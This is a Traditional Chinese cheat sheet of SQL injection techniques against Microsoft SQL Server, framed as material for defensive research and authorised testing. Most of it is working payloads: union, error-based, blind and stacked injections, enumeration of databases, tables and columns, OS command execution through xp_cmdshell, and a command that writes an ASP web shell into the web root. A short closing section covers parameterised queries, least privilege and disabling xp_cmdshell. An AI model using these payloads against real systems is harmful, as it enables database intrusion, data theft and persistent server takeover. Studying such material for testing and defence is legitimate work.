本文整理常見 SQL 注入攻擊向量,**僅供防禦研究、滲透測試授權範圍內使用**。理解攻擊原理才能建立有效防線。
| 類別 | 特徵 | 典型載荷 |
|---|---|---|
| 聯合查詢注入 | 利用 UNION SELECT 併入惡意結果集 | ' UNION SELECT NULL,@@VERSION,NULL-- |
| 錯誤回顯注入 | 透過型別轉換錯誤洩露資料 | ' AND 1=CONVERT(INT,@@VERSION)-- |
| 盲注 (布爾/時間) | 無直接回顯,透過頁面差異/延遲推斷 | ' AND (SELECT SUBSTRING(@@VERSION,1,1))='M'-- |
| 堆疊查詢 | 多語句執行 (支援批次處理的驅動) | '; EXEC xp_cmdshell 'whoami'-- |
| 二次注入 | 惡意資料儲存後在二次查詢觸發 | 註冊用戶名 admin'-- 後續登入繞過驗證 |
xp_cmdshell:執行 OS 命令 (預設關閉,需 sp_configure 啟用)xp_regread/write:登錄讀寫sp_OACreate/Method/GetProperty:COM 物件操作 (可執行 WScript.Shell、FileSystemObject)OPENROWSET/OPENDATASOURCE:遠端資料存取 (可反連)xp_dirtree/subdirs/availablemedia:目錄遍歷' 1. 判斷注入點
' AND 1=1-- (正常) vs ' AND 1=2-- (異常)
' 2. 取得版本/用戶/資料庫
' AND 1=CONVERT(INT,@@VERSION)--
' AND 1=CONVERT(INT,DB_NAME())--
' AND 1=CONVERT(INT,SYSTEM_USER)--
' 3. 列舉結構
' UNION SELECT name FROM master..sysdatabases--
' UNION SELECT name FROM targetdb..sysobjects WHERE xtype='U'--
' UNION SELECT name FROM targetdb..syscolumns WHERE id=OBJECT_ID('table')--
' 4. 讀取檔案/執行命令 (需高權限)
'; EXEC master..xp_cmdshell 'type C:\boot.ini'--
'; DECLARE @o INT; EXEC sp_OACreate 'Scripting.FileSystemObject',@o OUT; ... --
' 5. 寫入 WebShell (需知道 Web 路徑)
'; EXEC xp_cmdshell 'echo ^<%execute(request("x"))%^> > c:\inetpub\wwwroot\shell.asp'--
' C# 正確範例
using (var cmd = new SqlCommand("SELECT * FROM Users WHERE UserName=@u", conn))
{
cmd.Parameters.AddWithValue("@u", userInput);
// 型別安全、計畫重用、完全免疫注入
}
db_datareader/db_datawriter + 執行特定預存程序權限EXEC sp_dropextendedproc 'xp_cmdshell'SQL 注入已知超過 20 年,但仍是 OWASP Top 10 常客。**參數化查詢 + 最小權限 + 持續審計**是唯一穩固解法。